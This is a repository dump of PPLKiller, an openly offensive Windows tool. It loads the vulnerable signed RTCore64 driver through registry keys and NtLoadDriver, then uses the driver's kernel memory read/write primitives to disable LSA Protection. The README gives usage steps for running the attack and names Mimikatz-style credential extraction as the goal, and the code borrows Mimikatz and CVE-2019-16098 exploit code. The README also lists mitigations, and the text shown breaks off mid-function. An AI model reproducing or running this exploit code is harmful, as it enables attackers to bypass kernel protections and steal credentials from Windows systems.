├── .gitignore
├── PPLKiller.sln
├── PPLKiller.vcxproj
├── PPLKiller.vcxproj.filters
├── README.md
├── Resource.rc
├── driver
├── RTCore32.sys
└── RTCore64.sys
├── loaddriver.cpp
├── loaddriver.h
├── main.cpp
└── resource.h
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # StyleCop
65 | StyleCopReport.xml
66 |
67 | # Files built by Visual Studio
68 | *_i.c
69 | *_p.c
70 | *_h.h
71 | *.ilk
72 | *.meta
73 | *.obj
74 | *.iobj
75 | *.pch
76 | *.pdb
77 | *.ipdb
78 | *.pgc
79 | *.pgd
80 | *.rsp
81 | *.sbr
82 | *.tlb
83 | *.tli
84 | *.tlh
85 | *.tmp
86 | *.tmp_proj
87 | *_wpftmp.csproj
88 | *.log
89 | *.vspscc
90 | *.vssscc
91 | .builds
92 | *.pidb
93 | *.svclog
94 | *.scc
95 |
96 | # Chutzpah Test files
97 | _Chutzpah*
98 |
99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 |
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 |
116 | # Visual Studio Trace Files
117 | *.e2e
118 |
119 | # TFS 2012 Local Workspace
120 | $tf/
121 |
122 | # Guidance Automation Toolkit
123 | *.gpState
124 |
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 |
130 | # TeamCity is a build add-in
131 | _TeamCity*
132 |
133 | # DotCover is a Code Coverage Tool
134 | *.dotCover
135 |
136 | # AxoCover is a Code Coverage Tool
137 | .axoCover/*
138 | !.axoCover/settings.json
139 |
140 | # Visual Studio code coverage results
141 | *.coverage
142 | *.coveragexml
143 |
144 | # NCrunch
145 | _NCrunch_*
146 | .*crunch*.local.xml
147 | nCrunchTemp_*
148 |
149 | # MightyMoose
150 | *.mm.*
151 | AutoTest.Net/
152 |
153 | # Web workbench (sass)
154 | .sass-cache/
155 |
156 | # Installshield output folder
157 | [Ee]xpress/
158 |
159 | # DocProject is a documentation generator add-in
160 | DocProject/buildhelp/
161 | DocProject/Help/*.HxT
162 | DocProject/Help/*.HxC
163 | DocProject/Help/*.hhc
164 | DocProject/Help/*.hhk
165 | DocProject/Help/*.hhp
166 | DocProject/Help/Html2
167 | DocProject/Help/html
168 |
169 | # Click-Once directory
170 | publish/
171 |
172 | # Publish Web Output
173 | *.[Pp]ublish.xml
174 | *.azurePubxml
175 | # Note: Comment the next line if you want to checkin your web deploy settings,
176 | # but database connection strings (with potential passwords) will be unencrypted
177 | *.pubxml
178 | *.publishproj
179 |
180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
181 | # checkin your Azure Web App publish settings, but sensitive information contained
182 | # in these scripts will be unencrypted
183 | PublishScripts/
184 |
185 | # NuGet Packages
186 | *.nupkg
187 | # NuGet Symbol Packages
188 | *.snupkg
189 | # The packages folder can be ignored because of Package Restore
190 | **/[Pp]ackages/*
191 | # except build/, which is used as an MSBuild target.
192 | !**/[Pp]ackages/build/
193 | # Uncomment if necessary however generally it will be regenerated when needed
194 | #!**/[Pp]ackages/repositories.config
195 | # NuGet v3's project.json files produces more ignorable files
196 | *.nuget.props
197 | *.nuget.targets
198 |
199 | # Microsoft Azure Build Output
200 | csx/
201 | *.build.csdef
202 |
203 | # Microsoft Azure Emulator
204 | ecf/
205 | rcf/
206 |
207 | # Windows Store app package directories and files
208 | AppPackages/
209 | BundleArtifacts/
210 | Package.StoreAssociation.xml
211 | _pkginfo.txt
212 | *.appx
213 | *.appxbundle
214 | *.appxupload
215 |
216 | # Visual Studio cache files
217 | # files ending in .cache can be ignored
218 | *.[Cc]ache
219 | # but keep track of directories ending in .cache
220 | !?*.[Cc]ache/
221 |
222 | # Others
223 | ClientBin/
224 | ~$*
225 | *~
226 | *.dbmdl
227 | *.dbproj.schemaview
228 | *.jfm
229 | *.pfx
230 | *.publishsettings
231 | orleans.codegen.cs
232 |
233 | # Including strong name files can present a security risk
234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
235 | #*.snk
236 |
237 | # Since there are multiple workflows, uncomment next line to ignore bower_components
238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
239 | #bower_components/
240 |
241 | # RIA/Silverlight projects
242 | Generated_Code/
243 |
244 | # Backup & report files from converting an old project file
245 | # to a newer Visual Studio version. Backup files are not needed,
246 | # because we have git ;-)
247 | _UpgradeReport_Files/
248 | Backup*/
249 | UpgradeLog*.XML
250 | UpgradeLog*.htm
251 | ServiceFabricBackup/
252 | *.rptproj.bak
253 |
254 | # SQL Server files
255 | *.mdf
256 | *.ldf
257 | *.ndf
258 |
259 | # Business Intelligence projects
260 | *.rdl.data
261 | *.bim.layout
262 | *.bim_*.settings
263 | *.rptproj.rsuser
264 | *- [Bb]ackup.rdl
265 | *- [Bb]ackup ([0-9]).rdl
266 | *- [Bb]ackup ([0-9][0-9]).rdl
267 |
268 | # Microsoft Fakes
269 | FakesAssemblies/
270 |
271 | # GhostDoc plugin setting file
272 | *.GhostDoc.xml
273 |
274 | # Node.js Tools for Visual Studio
275 | .ntvs_analysis.dat
276 | node_modules/
277 |
278 | # Visual Studio 6 build log
279 | *.plg
280 |
281 | # Visual Studio 6 workspace options file
282 | *.opt
283 |
284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
285 | *.vbw
286 |
287 | # Visual Studio LightSwitch build output
288 | **/*.HTMLClient/GeneratedArtifacts
289 | **/*.DesktopClient/GeneratedArtifacts
290 | **/*.DesktopClient/ModelManifest.xml
291 | **/*.Server/GeneratedArtifacts
292 | **/*.Server/ModelManifest.xml
293 | _Pvt_Extensions
294 |
295 | # Paket dependency manager
296 | .paket/paket.exe
297 | paket-files/
298 |
299 | # FAKE - F# Make
300 | .fake/
301 |
302 | # CodeRush personal settings
303 | .cr/personal
304 |
305 | # Python Tools for Visual Studio (PTVS)
306 | __pycache__/
307 | *.pyc
308 |
309 | # Cake - Uncomment if you are using it
310 | # tools/**
311 | # !tools/packages.config
312 |
313 | # Tabs Studio
314 | *.tss
315 |
316 | # Telerik's JustMock configuration file
317 | *.jmconfig
318 |
319 | # BizTalk build output
320 | *.btp.cs
321 | *.btm.cs
322 | *.odx.cs
323 | *.xsd.cs
324 |
325 | # OpenCover UI analysis results
326 | OpenCover/
327 |
328 | # Azure Stream Analytics local run output
329 | ASALocalRun/
330 |
331 | # MSBuild Binary and Structured Log
332 | *.binlog
333 |
334 | # NVidia Nsight GPU debugger configuration file
335 | *.nvuser
336 |
337 | # MFractors (Xamarin productivity tool) working folder
338 | .mfractor/
339 |
340 | # Local History for Visual Studio
341 | .localhistory/
342 |
343 | # BeatPulse healthcheck temp database
344 | healthchecksdb
345 |
346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
347 | MigrationBackup/
348 |
349 | # Ionide (cross platform F# VS Code tools) working folder
350 | .ionide/
351 |
--------------------------------------------------------------------------------
/PPLKiller.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31025.194
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PPLKiller", "PPLKiller.vcxproj", "{DBA1664E-B6D0-49FA-B25D-57F9DEEF6489}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {DBA1664E-B6D0-49FA-B25D-57F9DEEF6489}.Debug|x64.ActiveCfg = Debug|x64
17 | {DBA1664E-B6D0-49FA-B25D-57F9DEEF6489}.Debug|x64.Build.0 = Debug|x64
18 | {DBA1664E-B6D0-49FA-B25D-57F9DEEF6489}.Debug|x86.ActiveCfg = Debug|Win32
19 | {DBA1664E-B6D0-49FA-B25D-57F9DEEF6489}.Debug|x86.Build.0 = Debug|Win32
20 | {DBA1664E-B6D0-49FA-B25D-57F9DEEF6489}.Release|x64.ActiveCfg = Release|x64
21 | {DBA1664E-B6D0-49FA-B25D-57F9DEEF6489}.Release|x64.Build.0 = Release|x64
22 | {DBA1664E-B6D0-49FA-B25D-57F9DEEF6489}.Release|x86.ActiveCfg = Release|Win32
23 | {DBA1664E-B6D0-49FA-B25D-57F9DEEF6489}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {B2900774-6239-486B-A8C2-1E40B683C677}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/PPLKiller.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {dba1664e-b6d0-49fa-b25d-57f9deef6489}
25 | PPLKiller
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | false
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 | true
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | true
102 | true
103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 |
106 |
107 | Console
108 | true
109 | true
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
118 | true
119 |
120 |
121 | Console
122 | true
123 |
124 |
125 |
126 |
127 | Level3
128 | true
129 | true
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 | true
133 |
134 |
135 | Console
136 | true
137 | true
138 | true
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
--------------------------------------------------------------------------------
/PPLKiller.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
26 |
27 | Resource Files
28 |
29 |
30 |
31 |
32 | Header Files
33 |
34 |
35 | Header Files
36 |
37 |
38 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PPLKiller
2 | Tool to bypass LSA Protection (aka Protected Process Light)
3 |
4 | I’ve noticed there is a common misconception that LSA Protection prevents attacks that leverage SeDebug or Administrative privileges to extract credential material from memory, like Mimikatz. LSA Protection does NOT protect from these attacks, at best it makes them slightly more difficult as an extra step needs to be performed.
5 |
6 | Checkout the other tools like PPLKiller:
7 | - https://github.com/itm4n/PPLcontrol (it uses runtime offsets which is a huge improvment since I dont have time to keep PPLKiller updated)
8 | - https://github.com/wavestone-cdt/EDRSandblast (same concept but has more features)
9 | - https://github.com/itm4n/PPLdump (This does the same thing without using a driver, but is now patched in the latest version of Windows)
10 |
11 | # Usage and Demo
12 | 1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe
13 | 2. You'll always want to run `PPLKiller.exe /installDriver` first to install the driver
14 | 3. Run an attack like `PPLKiller.exe /disableLSAProtection`
15 | 4. Cleanup with `PPLKiller.exe /uninstallDriver`
16 |
17 | # Video Usage
18 | [](http://www.youtube.com/watch?v=w2_KqnhgN94 "Bypassing LSA Protection")
19 |
20 | # Mitigations
21 | - Use Credential Guard which uses virtualization-based security. This would prevent PPLKiller and PPLdump.
22 | - Use a Microsoft Defender Application Control kernel-mode code integrity policy to restrict which drivers can be loaded. The tool [PPLdump](https://github.com/itm4n/PPLdump), which can disable LSA Protection without loading a driver, could still be used.
23 |
--------------------------------------------------------------------------------
/Resource.rc:
--------------------------------------------------------------------------------
1 | #include "resource.h"
2 | #include "winres.h"
3 |
4 | IDR_RT_RCDATA1 RCDATA "driver\\RTCore64.sys"
5 |
--------------------------------------------------------------------------------
/driver/RTCore32.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RedCursorSecurityConsulting/PPLKiller/f530dd2156bf675498203e4e9f722b956f264eca/driver/RTCore32.sys
--------------------------------------------------------------------------------
/driver/RTCore64.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RedCursorSecurityConsulting/PPLKiller/f530dd2156bf675498203e4e9f722b956f264eca/driver/RTCore64.sys
--------------------------------------------------------------------------------
/loaddriver.cpp:
--------------------------------------------------------------------------------
1 | #include "loaddriver.h"
2 |
3 | ULONG
4 | LoadDriver(LPWSTR userSid, LPWSTR RegistryPath)
5 | {
6 | UNICODE_STRING DriverServiceName;
7 | NTSTATUS status;
8 |
9 | typedef NTSTATUS(_stdcall* NT_LOAD_DRIVER)(IN PUNICODE_STRING DriverServiceName);
10 | typedef void (WINAPI* RTL_INIT_UNICODE_STRING)(PUNICODE_STRING, PCWSTR);
11 |
12 | NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtLoadDriver");
13 | RTL_INIT_UNICODE_STRING RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
14 |
15 | wchar_t registryPath[MAX_PATH];
16 | _snwprintf_s(registryPath, _TRUNCATE, L"%s%s\\%s", REGISTRY_USER_PREFIX, userSid, RegistryPath);
17 |
18 | wprintf(L"[+] Loading Driver: %s\n", registryPath);
19 |
20 |
21 | RtlInitUnicodeString(&DriverServiceName, registryPath);
22 |
23 | status = NtLoadDriver(&DriverServiceName);
24 | printf("NTSTATUS: %08x, WinError: %d\n", status, GetLastError());
25 |
26 | if (!NT_SUCCESS(status))
27 | //return RtlNtStatusToDosError(status);
28 | return -1;
29 | return 0;
30 |
31 | }
32 |
33 | //https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx
34 | BOOL SetPrivilege(
35 | HANDLE hToken, // access token handle
36 | LPCTSTR lpszPrivilege, // name of privilege to enable/disable
37 | BOOL bEnablePrivilege // to enable or disable privilege
38 | )
39 | {
40 | TOKEN_PRIVILEGES tp;
41 | LUID luid;
42 |
43 | if (!LookupPrivilegeValue(
44 | NULL, // lookup privilege on local system
45 | lpszPrivilege, // privilege to lookup
46 | &luid)) // receives LUID of privilege
47 | {
48 | wprintf(L"[-] LookupPrivilegeValue error: %u\n", GetLastError());
49 | return FALSE;
50 | }
51 |
52 | tp.PrivilegeCount = 1;
53 | tp.Privileges[0].Luid = luid;
54 | if (bEnablePrivilege)
55 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
56 | else
57 | tp.Privileges[0].Attributes = 0;
58 |
59 | // Enable the privilege or disable all privileges.
60 |
61 | if (!AdjustTokenPrivileges(
62 | hToken,
63 | FALSE,
64 | &tp,
65 | sizeof(TOKEN_PRIVILEGES),
66 | (PTOKEN_PRIVILEGES)NULL,
67 | (PDWORD)NULL))
68 | {
69 | wprintf(L"[-] AdjustTokenPrivileges error: %u\n", GetLastError());
70 | return FALSE;
71 | }
72 |
73 | if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
74 |
75 | {
76 | wprintf(L"[-] The token does not have the specified privilege. \n");
77 | return FALSE;
78 | }
79 |
80 | return TRUE;
81 | }
82 |
83 | ULONG
84 | CreateRegistryKey(
85 | const LPWSTR RegistryPath,
86 | const LPWSTR DriverPath
87 | )
88 | {
89 | ULONG dwErrorCode;
90 | HKEY hKey;
91 | DWORD dwDisposition;
92 | DWORD dwServiceType = 1;
93 | DWORD dwServiceErrorControl = 1;
94 | DWORD dwServiceStart = 3;
95 | SIZE_T ServiceImagePathSize;
96 | wchar_t registryPath[MAX_PATH], serviceImagePath[MAX_PATH];
97 |
98 | _snwprintf_s(registryPath, _TRUNCATE, L"%s", RegistryPath);
99 | _snwprintf_s(serviceImagePath, _TRUNCATE, L"%s%s", IMAGE_PATH, DriverPath);
100 |
101 | dwErrorCode = RegCreateKeyExW(HKEY_CURRENT_USER,
102 | registryPath,
103 | 0,
104 | NULL,
105 | 0,
106 | KEY_ALL_ACCESS,
107 | NULL,
108 | &hKey,
109 | &dwDisposition);
110 |
111 | if (dwDisposition != REG_CREATED_NEW_KEY) {
112 | RegCloseKey(hKey);
113 | wprintf(L"RegCreateKeyEx failed: 0x%x\n", dwErrorCode);
114 | return dwErrorCode;
115 | }
116 |
117 | ServiceImagePathSize = (lstrlenW(serviceImagePath) + 1) * sizeof(WCHAR);
118 |
119 | dwErrorCode = RegSetValueExW(hKey,
120 | L"ImagePath",
121 | 0,
122 | REG_EXPAND_SZ,
123 | (const BYTE*)serviceImagePath,
124 | ServiceImagePathSize);
125 |
126 | if (dwErrorCode) {
127 | RegCloseKey(hKey);
128 | return dwErrorCode;
129 | }
130 |
131 | dwErrorCode = RegSetValueExW(hKey,
132 | L"Type",
133 | 0,
134 | REG_DWORD,
135 | (const BYTE*)&dwServiceType,
136 | sizeof(DWORD));
137 |
138 | if (dwErrorCode) {
139 | RegCloseKey(hKey);
140 | return dwErrorCode;
141 | }
142 |
143 | dwErrorCode = RegSetValueExW(hKey,
144 | L"ErrorControl",
145 | 0,
146 | REG_DWORD,
147 | (const BYTE*)&dwServiceErrorControl,
148 | sizeof(DWORD));
149 | if (dwErrorCode) {
150 | RegCloseKey(hKey);
151 | return dwErrorCode;
152 | }
153 |
154 | dwErrorCode = RegSetValueExW(hKey,
155 | L"Start",
156 | 0,
157 | REG_DWORD,
158 | (const BYTE*)&dwServiceStart,
159 | sizeof(DWORD));
160 |
161 | RegCloseKey(hKey);
162 | return 0;
163 | }
164 |
165 |
166 | LPWSTR getUserSid(HANDLE hToken)
167 | {
168 |
169 | // Get the size of the memory buffer needed for the SID
170 | //https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
171 | //https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
172 |
173 | DWORD dwBufferSize = 0;
174 | if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwBufferSize) &&
175 | (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
176 | {
177 | wprintf(L"GetTokenInformation failed, error: %d\n",
178 | GetLastError());
179 | return NULL;
180 | }
181 |
182 | //https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
183 | PTOKEN_USER pUserToken = (PTOKEN_USER)HeapAlloc(
184 | GetProcessHeap(),
185 | HEAP_ZERO_MEMORY,
186 | dwBufferSize);
187 |
188 | if (pUserToken == NULL) {
189 | HeapFree(GetProcessHeap(), 0, (LPVOID)pUserToken);
190 | return NULL;
191 | }
192 |
193 | // Retrive token info
194 | if (!GetTokenInformation(
195 | hToken,
196 | TokenUser,
197 | pUserToken,
198 | dwBufferSize,
199 | &dwBufferSize))
200 | {
201 | GetLastError();
202 | return NULL;
203 | }
204 |
205 | // Check if SID is valid
206 | if (!IsValidSid(pUserToken->User.Sid))
207 | {
208 | wprintf(L"The owner SID is invalid.\n");
209 | return NULL;
210 | }
211 |
212 | LPWSTR sidString;
213 | ConvertSidToStringSidW(pUserToken->User.Sid, &sidString);
214 | return sidString;
215 | }
216 |
217 | int fullsend(LPWSTR RegistryPath, LPWSTR DriverImagePath)
218 | {
219 | //LPWSTR* szArglist;
220 | //int nArgs;
221 | //LPWSTR RegistryPath, DriverImagePath;
222 | ULONG dwErrorCode;
223 | int ret = 0;
224 |
225 | //szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
226 | //if (NULL == szArglist)
227 | //{
228 | // printUsage();
229 | // return 0;
230 | //}
231 |
232 | //if (nArgs != 3) {
233 | // printUsage();
234 | // LocalFree(szArglist);
235 | // return 0;
236 | //}
237 |
238 | //RegistryPath = szArglist[1];
239 | //DriverImagePath = szArglist[2];
240 |
241 | // Get Current Process Token
242 | HANDLE hToken;
243 |
244 | if (!OpenProcessToken(GetCurrentProcess(),
245 | TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
246 | {
247 | wprintf(L"[+] OpenProcessToken Failed\n");
248 | goto cleanup;
249 | }
250 |
251 | LPWSTR userSidStr;
252 |
253 | userSidStr = getUserSid(hToken);
254 | if (userSidStr == NULL)
255 | {
256 | wprintf(L"[+] Error while getting user SID\n");
257 | goto cleanup;
258 | }
259 |
260 | dwErrorCode = CreateRegistryKey((LPWSTR)RegistryPath, DriverImagePath);
261 | if (dwErrorCode != 0) {
262 | wprintf(L"[-] Error while creating registry keys: error value %d\n", dwErrorCode);
263 | goto cleanup;
264 | }
265 |
266 | // Enable Privileges
267 | wprintf(L"[+] Enabling SeLoadDriverPrivilege\n");
268 |
269 | if (SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, true))
270 | wprintf(L"[+] SeLoadDriverPrivilege Enabled\n");
271 | else
272 | {
273 | wprintf(L"[-] SeLoadDriverPrivilege Failed\n");
274 | goto cleanup;
275 | }
276 |
277 | ret = LoadDriver(userSidStr, RegistryPath);
278 |
279 | cleanup:
280 | CloseHandle(hToken);
281 | hToken = NULL;
282 | //LocalFree(szArglist);
283 |
284 | return(ret);
285 |
286 | }
--------------------------------------------------------------------------------
/loaddriver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #define REGISTRY_USER_PREFIX _T("\\Registry\\User\\")
11 | #define IMAGE_PATH _T("\\??\\")
12 |
13 | int fullsend(LPWSTR, LPWSTR);
--------------------------------------------------------------------------------
/main.cpp:
--------------------------------------------------------------------------------
1 | // CODE FROM
2 | // https://github.com/Barakat/CVE-2019-16098
3 | // https://github.com/gentilkiwi/mimikatz
4 | // https://github.com/TarlogicSecurity/EoPLoadDriver/
5 |
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #include
13 | #include
14 | #include
15 |
16 | #include "resource.h"
17 | #include "loaddriver.h"
18 |
19 | #define AUTHOR L"@aceb0nd"
20 | #define VERSION L"0.3"
21 |
22 | #if !defined(PRINT_ERROR_AUTO)
23 | #define PRINT_ERROR_AUTO(func) (wprintf(L"ERROR " TEXT(__FUNCTION__) L" ; " func L" (0x%08x)\n", GetLastError()))
24 | #endif
25 |
26 | // Micro-Star MSI Afterburner driver arbitrary read and write primitive
27 | // These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.
28 |
29 | struct RTCORE64_MSR_READ {
30 | DWORD Register;
31 | DWORD ValueHigh;
32 | DWORD ValueLow;
33 | };
34 | static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
35 |
36 | struct RTCORE64_MEMORY_READ {
37 | BYTE Pad0[8];
38 | DWORD64 Address;
39 | BYTE Pad1[8];
40 | DWORD ReadSize;
41 | DWORD Value;
42 | BYTE Pad3[16];
43 | };
44 | static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
45 |
46 | struct RTCORE64_MEMORY_WRITE {
47 | BYTE Pad0[8];
48 | DWORD64 Address;
49 | BYTE Pad1[8];
50 | DWORD ReadSize;
51 | DWORD Value;
52 | BYTE Pad3[16];
53 | };
54 | static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
55 |
56 | static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
57 | static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
58 | static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
59 |
60 | DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
61 | RTCORE64_MEMORY_READ MemoryRead{};
62 | MemoryRead.Address = Address;
63 | MemoryRead.ReadSize = Size;
64 |
65 | DWORD BytesReturned;
66 |
67 | DeviceIoControl(Device,
68 | RTCORE64_MEMORY_READ_CODE,
69 | &MemoryRead,
70 | sizeof(MemoryRead),
71 | &MemoryRead,
72 | sizeof(MemoryRead),
73 | &BytesReturned,
74 | nullptr);
75 |
76 | return MemoryRead.Value;
77 | }
78 |
79 | void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
80 | RTCORE64_MEMORY_READ MemoryRead{};
81 | MemoryRead.Address = Address;
82 | MemoryRead.ReadSize = Size;
83 | MemoryRead.Value = Value;
84 |
85 | DWORD BytesReturned;
86 |
87 | DeviceIoControl(Device,
88 | RTCORE64_MEMORY_WRITE_CODE,
89 | &MemoryRead,
90 | sizeof(MemoryRead),
91 | &MemoryRead,
92 | sizeof(MemoryRead),
93 | &BytesReturned,
94 | nullptr);
95 | }
96 |
97 | WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
98 | return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
99 | }
100 |
101 | DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
102 | return ReadMemoryPrimitive(Device, 4, Address);
103 | }
104 |
105 | DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
106 | return (static_cast(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
107 | }
108 |
109 | void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
110 | WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
111 | WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
112 | }
113 |
114 |
115 | // END driver comms code
116 | // START Mimikatz driver install/uninstall code
117 |
118 | BOOL kull_m_service_addWorldToSD(SC_HANDLE monHandle) {
119 | BOOL status = FALSE;
120 | DWORD dwSizeNeeded;
121 | PSECURITY_DESCRIPTOR oldSd, newSd;
122 | SECURITY_DESCRIPTOR dummySdForXP;
123 | SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
124 | EXPLICIT_ACCESS ForEveryOne = {
125 | SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
126 | SET_ACCESS,
127 | NO_INHERITANCE,
128 | {NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
129 | };
